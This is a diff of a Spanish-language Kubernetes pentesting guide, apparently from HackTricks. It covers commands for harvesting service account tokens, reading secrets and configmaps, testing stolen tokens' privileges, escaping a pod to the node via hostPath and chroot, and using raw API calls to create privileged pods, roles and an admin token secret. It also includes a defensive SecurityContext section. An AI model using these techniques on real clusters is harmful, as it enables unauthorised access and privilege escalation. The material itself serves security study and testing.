assigned the_ default _service account in the same namespace.”_ -**ServiceAccount** es un objeto gestionado por Kubernetes y utilizado para proporcionar una identidad a los procesos que se ejecutan en un pod.\ -Cada cuenta de servicio tiene un secreto relacionado y este secreto contiene un token portador. Este es un JSON Web Token (JWT), un método para representar reclamaciones de manera segura entre dos partes. +**ServiceAccount** es un objeto gestionado por Kubernetes y usado para proporcionar una identidad a los procesos que se ejecutan en un pod.\ +Cada service account tiene un secret asociado y este secret contiene un bearer token. Esto es un JSON Web Token (JWT), un método para representar claims de forma segura entre dos partes. -Generalmente **uno** de los directorios: +Normalmente **uno** de los directorios: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` @@ -29,13 +29,13 @@ Generalmente **uno** de los directorios: contiene los archivos: -- **ca.crt**: Es el certificado ca para verificar las comunicaciones de Kubernetes -- **namespace**: Indica el espacio de nombres actual -- **token**: Contiene el **token de servicio** del pod actual. +- **ca.crt**: Es el certificado ca para comprobar las comunicaciones de kubernetes +- **namespace**: Indica el namespace actual +- **token**: Contiene el **service token** del pod actual. -Ahora que tienes el token, puedes encontrar el servidor API dentro de la variable de entorno **`KUBECONFIG`**. Para más información ejecuta `(env | set) | grep -i "kuber|kube`**`"`** +Ahora que tienes el token, puedes encontrar el API server dentro de la variable de entorno **`KUBECONFIG`**. Para más información ejecuta `(env | set) | grep -i "kuber|kube`**`"`** -El token de cuenta de servicio está siendo firmado por la clave que reside en el archivo **sa.key** y validado por **sa.pub**. +El service account token está siendo firmado por la clave que reside en el archivo **sa.key** y validado por **sa.pub**. Ubicación predeterminada en **Kubernetes**: @@ -45,45 +45,45 @@ Ubicación predeterminada en **Minikube**: - /var/lib/localkube/certs -### Pods Calientes +### Hot Pods -_**Los pods calientes son**_ pods que contienen un token de cuenta de servicio privilegiado. Un token de cuenta de servicio privilegiado es un token que tiene permiso para realizar tareas privilegiadas como listar secretos, crear pods, etc. +_**Hot pods are**_ pods que contienen un service account token privilegiado. Un service account token privilegiado es un token que tiene permiso para realizar tareas privilegiadas como listar secrets, crear pods, etc. ## RBAC Si no sabes qué es **RBAC**, **lee esta sección**. -## Aplicaciones GUI +## GUI Applications -- **k9s**: Una GUI que enumera un clúster de Kubernetes desde la terminal. Consulta los comandos en [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona todo para luego buscar recursos en todos los espacios de nombres. -- **k8slens**: Ofrece algunos días de prueba gratuita: [https://k8slens.dev/](https://k8slens.dev/) +- **k9s**: Una GUI que enumera un clúster kubernetes desde el terminal. Revisa los comandos en[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona all para luego buscar recursos en todos los namespaces. +- **k8slens**: Ofrece algunos días de prueba gratis: [https://k8slens.dev/](https://k8slens.dev/) -## Hoja de Trucos de Enumeración +## Enumeration CheatSheet -Para enumerar un entorno K8s necesitas un par de cosas: +Para enumerar un entorno K8 necesitas un par de cosas: -- Un **token de autenticación válido**. En la sección anterior vimos dónde buscar un token de usuario y un token de cuenta de servicio. -- La **dirección (**_**https://host:port**_**) del API de Kubernetes**. Esto generalmente se puede encontrar en las variables de entorno y/o en el archivo de configuración kube. -- **Opcional**: El **ca.crt para verificar el servidor API**. Esto se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del servidor API, pero usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` no necesitarás esto. +- Un **token de autenticación válido**. En la sección anterior vimos dónde buscar un token de usuario y un service account token. +- La **dirección (**_**https://host:port**_**) del API de Kubernetes**. Normalmente se puede encontrar en las variables de entorno y/o en el archivo de configuración kube. +- **Opcional**: El **ca.crt para verificar el API server**. Se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del API server, pero usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` no lo necesitarás. -Con esos detalles puedes **enumerar Kubernetes**. Si el **API** por alguna razón es **accesible** a través de **Internet**, puedes simplemente descargar esa información y enumerar la plataforma desde tu host. +Con esos detalles puedes **enumerar kubernetes**. Si el **API** por alguna razón es **accesible** a través de **Internet**, simplemente puedes descargar esa información y enumerar la plataforma desde tu host. -Sin embargo, generalmente el **servidor API está dentro de una red interna**, por lo tanto necesitarás **crear un túnel** a través de la máquina comprometida para acceder a él desde tu máquina, o puedes **subir el** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binario, o usar **`curl/wget/anything`** para realizar solicitudes HTTP en bruto al servidor API. +Sin embargo, normalmente el **API server está dentro de una red interna**, por lo tanto necesitarás **crear un túnel** a través de la máquina comprometida para acceder a él desde tu máquina, o puedes **subir el** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, o usar **`curl/wget/anything`** para realizar peticiones HTTP directas al API server. -### Diferencias entre los verbos `list` y `get` +### Differences between `list` and `get` verbs -Con permisos de **`get`** puedes acceder a información de activos específicos (_opción `describe` en `kubectl`_) API: +Con permisos **`get`** puedes acceder a información de assets específicos (_opción `describe` en `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Si tienes el permiso **`list`**, se te permite ejecutar solicitudes API para listar un tipo de activo (_`get` opción en `kubectl`_): +Si tienes el permiso **`list`**, se te permite ejecutar solicitudes API para listar un tipo de asset (_opción `get` en `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -Si tienes el permiso **`watch`**, se te permite ejecutar solicitudes API para monitorear activos: +Si tienes el permiso **`watch`**, estás autorizado a ejecutar solicitudes API para monitorizar assets: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -94,11 +94,11 @@ GET /apis/apps/v1/watch/deployments [DEPRECATED] Abren una conexión de streaming que te devuelve el manifiesto completo de un Deployment cada vez que cambia (o cuando se crea uno nuevo). > [!CAUTION] -> Los siguientes comandos de `kubectl` indican solo cómo listar los objetos. Si deseas acceder a los datos, necesitas usar `describe` en lugar de `get`. +> Los siguientes comandos `kubectl` solo indican cómo listar los objetos. Si quieres acceder a los datos, necesitas usar `describe` en lugar de `get` ### Usando curl -Desde dentro de un pod, puedes usar varias variables de entorno: +Desde dentro de un pod puedes usar varias variables de entorno: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount @@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Por defecto, el pod puede **acceder** al **kube-api server** en el nombre de dominio **`kubernetes.default.svc`** y puedes ver la red kube en **`/etc/resolv.config`** ya que aquí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el punto final del kube-api). +> De forma predeterminada, el pod puede **acceder** al **kube-api server** en el nombre de dominio **`kubernetes.default.svc`** y puedes ver la red de kube en **`/etc/resolv.config`**; ahí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el endpoint del kube-api). -### Usando kubectl +### Using kubectl -Teniendo el token y la dirección del servidor API, usas kubectl o curl para acceder a él como se indica aquí: +Teniendo el token y la dirección del API server, usas kubectl o curl para acceder a él como se indica aquí: -Por defecto, el APISERVER se comunica con el esquema `https://` +Por defecto, The APISERVER se está comunicando con el esquema `https://` ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> si no hay `https://` en la URL, puede que obtenga un error como Bad Request. +> si no hay `https://` en la url, puedes obtener un Error como Bad Request. -Puedes encontrar un [**cheatsheet oficial de kubectl aquí**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). El objetivo de las siguientes secciones es presentar de manera ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso. +Puedes encontrar una [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). El objetivo de las siguientes secciones es presentar de manera ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso. -Para encontrar la solicitud HTTP que `kubectl` envía, puedes usar el parámetro `-v=8` +Para encontrar la solicitud HTTP que `kubectl` envía puedes usar el parámetro `-v=8` #### MitM kubectl - Proxyfying kubectl ```bash @@ -134,7 +134,7 @@ export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` -### Configuración Actual +### Configuración actual {{#tabs }} {{#tab name="Kubectl" }} @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -Si lograste robar las credenciales de algunos usuarios, puedes **configurarlas localmente** usando algo como: +Si lograste robar algunas credenciales de usuarios, puedes **configurarlas localmente** usando algo como: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -161,7 +161,7 @@ kubectl config set-credentials USER_NAME \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` -### Obtener Recursos Soportados +### Obtener recursos soportados Con esta información sabrás todos los servicios que puedes listar @@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {{#endtab }} {{#endtabs }} -### Obtener privilegios actuales +### Metadatos de object worth checking + +Cuando puedes leer un object, exporta el YAML o JSON completo en lugar de depender solo de la salida de tabla o de `describe`. El contexto de seguridad más útil suele estar en campos genéricos del object que existen en muchos tipos de recursos: +```bash +kubectl get pod -n -o yaml +kubectl get deploy -n -o json | jq '.metadata, .spec, .status' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' +``` +- `metadata.uid`, `name`, `namespace`, `apiVersion` y `kind` identifican el objeto exacto y evitan confusión entre objetos con el mismo nombre en diferentes namespaces o API groups. +- `metadata.labels` y selectors conectan Services, Deployments, ReplicaSets, Pods, NetworkPolicies y automation. Seguir selectors suele ser la forma más rápida de identificar los verdaderos backend pods para un Service. +- `metadata.annotations` puede leak contexto operativo como comportamiento de ingress, ajustes de cloud load balancer, metadatos de GitOps o Helm, excepciones de policy y configuración de service mesh. No deberían contener secrets, pero los clústeres reales a menudo exponen pistas útiles ahí. +- `metadata.ownerReferences` muestra la linaje del controller. Si un Pod es propiedad de un ReplicaSet que a su vez es propiedad de un Deployment, cambiar o borrar solo el Pod normalmente no arregla la fuente. +- `metadata.finalizers` y `metadata.deletionTimestamp` explican recursos atascados en eliminación y pueden revelar cleanup controllers o trucos de persistence/disruption. +- `status`, Events y conditions pueden revelar node placement, pod IPs, image IDs, mensajes de error, problemas de scheduling, admission denials y progreso del controller. Son pistas útiles, pero los audit logs siguen siendo necesarios para probar quién realizó una acción. + +### Get Current Privileges {{#tabs }} {{#tab name="kubectl" }} @@ -197,7 +212,7 @@ kurl -i -s -k -X $'POST' \ {{#endtab }} {{#endtabs }} -Otra forma de verificar tus privilegios es utilizando la herramienta: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* +Otra forma de comprobar tus privilegios es usando la herramienta: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* Puedes aprender más sobre **Kubernetes RBAC** en: @@ -205,13 +220,13 @@ Puedes aprender más sobre **Kubernetes RBAC** en: kubernetes-role-based-access-control-rbac.md {{#endref}} -**Una vez que sepas qué privilegios** tienes, consulta la siguiente página para averiguar **si puedes abusar de ellos** para escalar privilegios: +**Una vez que sepas qué privilegios** tienes, revisa la siguiente página para ver **si puedes abusar de ellos** para escalar privilegios: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### Obtener roles de otros +### Obtener otros roles {{#tabs }} {{#tab name="kubectl" }} @@ -247,7 +262,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/ {{#endtab }} {{#endtabs }} -### Obtener secretos +### Obtener secrets {{#tabs }} {{#tab name="kubectl" }} @@ -266,13 +281,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -Si puedes leer secretos, puedes usar las siguientes líneas para obtener los privilegios relacionados con cada token: +Si puedes leer secrets, puedes usar las siguientes líneas para obtener los privilegios relacionados con cada token: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` -### Obtener Cuentas de Servicio +### Obtener Service Accounts -Como se discutió al principio de esta página, **cuando se ejecuta un pod, generalmente se le asigna una cuenta de servicio**. Por lo tanto, listar las cuentas de servicio, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios. +Como se discutió al principio de esta página **cuando se ejecuta un pod, normalmente se le asigna un service account**. Por lo tanto, listar los service accounts, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios. {{#tabs }} {{#tab name="kubectl" }} @@ -288,9 +303,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts {{#endtab }} {{#endtabs }} -### Obtener Despliegues +### Obtener Deployments -Los despliegues especifican los **componentes** que necesitan ser **ejecutados**. +Los Deployments especifican el estado deseado para cargas de trabajo de aplicaciones sin estado. Crean ReplicaSets, y esos ReplicaSets crean Pods. {{#tabs }} {{#tab name="kubectl" }} @@ -302,14 +317,33 @@ k get deployments -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces//deployments/ +kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ +``` +{{#endtab }} +{{#endtabs }} + +### Obtener StatefulSets + +StatefulSets gestionan Pods que necesitan nombres estables, comportamiento de despliegue ordenado y, a menudo, volúmenes persistentes por réplica. + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get statefulsets +k get statefulsets -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ ``` {{#endtab }} {{#endtabs }} ### Obtener Pods -Los Pods son los **contenedores** que se **ejecutarán**. +Los Pods son los **containers** reales que se **ejecutarán**. {{#tabs }} {{#tab name="kubectl" }} @@ -326,9 +360,9 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ {{#endtab }} {{#endtabs }} -### Obtener Servicios +### Obtener Services -Kubernetes **services** se utilizan para **exponer un servicio en un puerto e IP específicos** (que actuará como balanceador de carga para los pods que realmente están ofreciendo el servicio). Esto es interesante para saber dónde puedes encontrar otros servicios para intentar atacar. +Los **services** de Kubernetes se usan para **exponer un servicio en un puerto e IP específicos** (que actuarán como load balancer para los pods que realmente ofrecen el servicio). Esto es interesante para saber dónde puedes encontrar otros servicios para intentar atacar. {{#tabs }} {{#tab name="kubectl" }} @@ -340,14 +374,14 @@ k get services -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces/default/services/ +kurl -v https://$APISERVER/api/v1/namespaces//services/ ``` {{#endtab }} {{#endtabs }} -### Obtener nodos +### Obtener nodes -Obtener todos los **nodos configurados dentro del clúster**. +Obtener todos los **nodes configurados inside the cluster**. {{#tabs }} {{#tab name="kubectl" }} @@ -365,7 +399,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### Obtener DaemonSets -**DaeamonSets** permite asegurar que un **pod específico esté en ejecución en todos los nodos** del clúster (o en los seleccionados). Si eliminas el DaemonSet, los pods gestionados por él también serán eliminados. +**DaemonSets** aseguran que un **Pod específico se ejecute en todos los nodos seleccionados** del cluster. Si eliminas el DaemonSet, los Pods gestionados por él también se eliminarán. {{#tabs }} {{#tab name="kubectl" }} @@ -376,32 +410,52 @@ k get daemonsets {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets +kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ``` {{#endtab }} {{#endtabs }} -### Obtener cronjob +### Obtener Jobs -Los cron jobs permiten programar el lanzamiento de un pod que realizará alguna acción utilizando una sintaxis similar a crontab. +Jobs crean Pods que se ejecutan hasta completarse. Se usan comúnmente para migraciones, backups, trabajo por lotes y tareas administrativas puntuales. {{#tabs }} {{#tab name="kubectl" }} ```bash -k get cronjobs +k get jobs +k get jobs -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs +kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs +``` +{{#endtab }} +{{#endtabs }} + +### Obtener CronJobs + +CronJobs usan un schedule tipo crontab para crear Jobs que lanzan Pods para ejecución de tipo tarea. + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get cronjobs +k get cronjobs -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs ``` {{#endtab }} {{#endtabs }} ### Obtener configMap -configMap siempre contiene mucha información y archivos de configuración que proporcionan a las aplicaciones que se ejecutan en Kubernetes. Por lo general, puedes encontrar muchas contraseñas, secretos y tokens que se utilizan para conectarse y validar otros servicios internos/externos. +configMap siempre contiene mucha información y archivos de configuración que se proporcionan a las apps que se ejecutan en kubernetes. Normalmente puedes encontrar muchas passwords, secrets, tokens que se usan para conectarse y validarse con otros servicios internos/externos. {{#tabs }} {{#tab name="kubectl" }} @@ -417,10 +471,10 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps {{#endtab }} {{#endtabs }} -### Obtener Políticas de Red / Políticas de Red de Cilium +### Obtener Network Policies / Cilium Network Policies {{#tabs }} -{{#tab name="Primera Pestaña" }} +{{#tab name="First Tab" }} ```bash k get networkpolicies k get CiliumNetworkPolicies @@ -429,7 +483,7 @@ k get CiliumClusterwideNetworkPolicies {{#endtab }} {{#endtabs }} -### Obtener Todo / Todo +### Obtener todo / Todo {{#tabs }} {{#tab name="kubectl" }} @@ -459,21 +513,21 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} -## Interactuando con el clúster sin usar kubectl +## Interacting with the cluster without using kubectl -Dado que el plano de control de Kubernetes expone una API RESTful, puedes crear solicitudes HTTP a mano y enviarlas con otras herramientas, como **curl** o **wget**. +Teniendo en cuenta que el control plane de Kubernetes expone una API RESTful, puedes crear manualmente peticiones HTTP y enviarlas con otras herramientas, como **curl** o **wget**. -### Escapando del pod +### Escaping from the pod -Si puedes crear nuevos pods, podrías ser capaz de escapar de ellos hacia el nodo. Para hacerlo, necesitas crear un nuevo pod utilizando un archivo yaml, cambiar al pod creado y luego chroot en el sistema del nodo. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y rutas existentes. +Si puedes crear nuevos pods, quizá puedas escapar de ellos hacia el node. Para hacerlo, necesitas crear un nuevo pod usando un archivo yaml, cambiar al pod creado y luego hacer chroot al sistema del node. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y pathes existentes. ```bash kubectl get pod [-n ] -o yaml ``` -> si necesitas crear un pod en un nodo específico, puedes usar el siguiente comando para obtener las etiquetas en el nodo +> si necesitas crear un pod en el nodo específico, puedes usar el siguiente comando para obtener las labels en el nodo > > `k get nodes --show-labels` > -> Comúnmente, kubernetes.io/hostname y node-role.kubernetes.io/master son buenas etiquetas para seleccionar. +> Comúnmente, kubernetes.io/hostname y node-role.kubernetes.io/master son buenas labels para seleccionar. Luego creas tu archivo attack.yaml ```yaml @@ -505,7 +559,9 @@ restartPolicy: Never # or using # node-role.kubernetes.io/master: "" ``` -Después de eso, creas el pod +[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) + +Después de eso creas el pod ```bash kubectl apply -f attacker.yaml [-n ] ``` @@ -513,13 +569,13 @@ Ahora puedes cambiar al pod creado de la siguiente manera ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -Y finalmente haces chroot en el sistema del nodo. +Y finalmente haces chroot al sistema del nodo ```bash chroot /root /bin/bash ``` Información obtenida de: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) -### Creando un pod privilegiado +### Creating a privileged pod El archivo yaml correspondiente es el siguiente: ```yaml @@ -584,7 +640,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` -### Crear una Cuenta de Servicio +### Crear un Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -602,7 +658,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Eliminar una cuenta de servicio +### Eliminar una Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -619,7 +675,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` -### Crear un Rol +### Crear un Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -637,7 +693,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Eliminar un rol +### Eliminar un Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -690,7 +746,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` -### Eliminar un Secreto +### Eliminar un Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -707,7 +763,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Eliminar un Secreto +### Eliminar un Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index 10541e5a4..acedc4a44 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -4,60 +4,81 @@ ## PodSecurityContext -[**De la documentación:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) +[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) -Al especificar el contexto de seguridad de un Pod, puedes usar varios atributos. Desde un punto de vista de seguridad defensiva, deberías considerar: +Al especificar el security context de un Pod puedes usar varios atributos. Desde un punto de vista de defensive security deberías considerar: - Tener **runASNonRoot** como **True** - Configurar **runAsUser** -- Si es posible, considera **limitar** **permisos** indicando **seLinuxOptions** y **seccompProfile** -- No dar acceso de **grupo** de **privilegios** a través de **runAsGroup** y **supplementaryGroups** +- Si es posible, considera **limiting** los **permissions** indicando **seLinuxOptions** y **seccompProfile** +- **NO** dar acceso a grupo de **privilege** mediante **runAsGroup** y **supplementaryGroups** -| Parámetro | Descripción | -|

fsGroup
entero

|

Un grupo suplementario especial que se aplica a todos los contenedores en un pod. Algunos tipos de volúmenes permiten que el Kubelet cambie la propiedad de ese volumen para que sea propiedad del pod:
1. El GID propietario será el FSGroup
2. El bit setgid está establecido (los nuevos archivos creados en el volumen serán propiedad del FSGroup)
3. Los bits de permiso se OR'd con rw-rw---- Si no se establece, el Kubelet no modificará la propiedad y los permisos de ningún volumen

| +| Parameter | Description | +|

fsGroup
integer

|

Un grupo suplementario especial que se aplica a all containers in a pod. Algunos tipos de volume permiten al Kubelet change the ownership of that volume para que pertenezca al pod:
1. El GID propietario será el FSGroup
2. Se establece el bit setgid (los nuevos archivos creados en el volume pertenecerán a FSGroup)
3. Los bits de permission se combinan con rw-rw---- Si no se establece, el Kubelet no modificará la ownership ni los permissions de ningún volume

| -|

fsGroupChangePolicy
cadena

| Esto define el comportamiento de **cambio de propiedad y permiso del volumen** antes de ser expuesto dentro del Pod. | -|

runAsGroup
entero

| El **GID para ejecutar el punto de entrada del proceso del contenedor**. Usa el valor predeterminado de tiempo de ejecución si no se establece. | -|

runAsNonRoot
booleano

| Indica que el contenedor debe ejecutarse como un usuario no root. Si es verdadero, el Kubelet validará la imagen en tiempo de ejecución para asegurarse de que no se ejecute como UID 0 (root) y fallará al iniciar el contenedor si lo hace. | -|

runAsUser
entero

| El **UID para ejecutar el punto de entrada del proceso del contenedor**. Por defecto, se utiliza el usuario especificado en los metadatos de la imagen si no se especifica. | -|

seLinuxOptions
SELinuxOptions
Más información sobre seLinux

| El **contexto SELinux que se aplicará a todos los contenedores**. Si no se especifica, el tiempo de ejecución del contenedor asignará un contexto SELinux aleatorio para cada contenedor. | -|

seccompProfile
SeccompProfile
Más información sobre Seccomp

| Las **opciones seccomp que usarán los contenedores** en este pod. | -|

supplementalGroups
array de enteros

| Una lista de **grupos aplicados al primer proceso ejecutado en cada contenedor**, además del GID principal del contenedor. | -|

sysctls
Sysctl array
Más información sobre sysctls

| Los sysctls contienen una lista de **sysctls con espacio de nombres utilizados para el pod**. Los pods con sysctls no soportados (por el tiempo de ejecución del contenedor) podrían fallar al lanzarse. | -|

windowsOptions
WindowsSecurityContextOptions

| La configuración específica de Windows aplicada a todos los contenedores. Si no se especifica, se utilizarán las opciones dentro del SecurityContext de un contenedor. | +|

fsGroupChangePolicy
string

| Esto define el comportamiento de **changing ownership and permission of the volume** antes de exponerse dentro del Pod. | +|

runAsGroup
integer

| El **GID to run the entrypoint of the container process**. Usa el valor por defecto del runtime si no se establece. También puede configurarse en SecurityContext. | +|

runAsNonRoot
boolean

| Indica que el container debe ejecutarse como un usuario no root. Si es true, el Kubelet validará la image en tiempo de ejecución para asegurarse de que no se ejecute como UID 0 (root) y fallará al iniciar el container si lo hace. | +|

runAsUser
integer

| El **UID to run the entrypoint of the container process**. Por defecto usa el usuario especificado en los metadatos de la image si no se indica. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| El **SELinux context to be applied to all containers**. Si no se especifica, el runtime del container asignará un SELinux context aleatorio para cada container. | +|

seccompProfile
SeccompProfile
More info about Seccomp

| Las **seccomp options to use by the containers** en este pod. | +|

supplementalGroups
integer array

| Una lista de **groups applied to the first process run in each container**, además del GID primario del container. | +|

sysctls
Sysctl array
More info about sysctls

| Sysctls contiene una lista de **namespaced sysctls used for the pod**. Los Pods con sysctls no soportados (por el container runtime) podrían fallar al arrancar. | +|

windowsOptions
WindowsSecurityContextOptions

| Los ajustes específicos de Windows aplicados a todos los containers. Si no se especifica, se usarán las opciones dentro del SecurityContext de un container. | ## SecurityContext -[**De la documentación:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) -Este contexto se establece dentro de las **definiciones de contenedores**. Desde un punto de vista de seguridad defensiva, deberías considerar: +Este context se establece dentro de las **container definitions**. Desde un punto de vista de defensive security deberías considerar: -- **allowPrivilegeEscalation** como **False** -- No agregar **capabilities** sensibles (y eliminar las que no necesites) -- **privileged** como **False** +- **allowPrivilegeEscalation** a **False** +- No añadir **capabilities** sensibles (y eliminar las que no necesites) +- **privileged** a **False** - Si es posible, establecer **readOnlyFilesystem** como **True** -- Establecer **runAsNonRoot** como **True** y establecer un **runAsUser** -- Si es posible, considera **limitar** **permisos** indicando **seLinuxOptions** y **seccompProfile** -- No dar acceso de **grupo** de **privilegios** a través de **runAsGroup.** +- Establecer **runAsNonRoot** como **True** y fijar un **runAsUser** +- Si es posible, considera **limiting** los **permissions** indicando **seLinuxOptions** y **seccompProfile** +- **NO** dar acceso a grupo de **privilege** mediante **runAsGroup.** -Ten en cuenta que los atributos establecidos en **tanto SecurityContext como PodSecurityContext**, el valor especificado en **SecurityContext** tiene **precedencia**. +Ten en 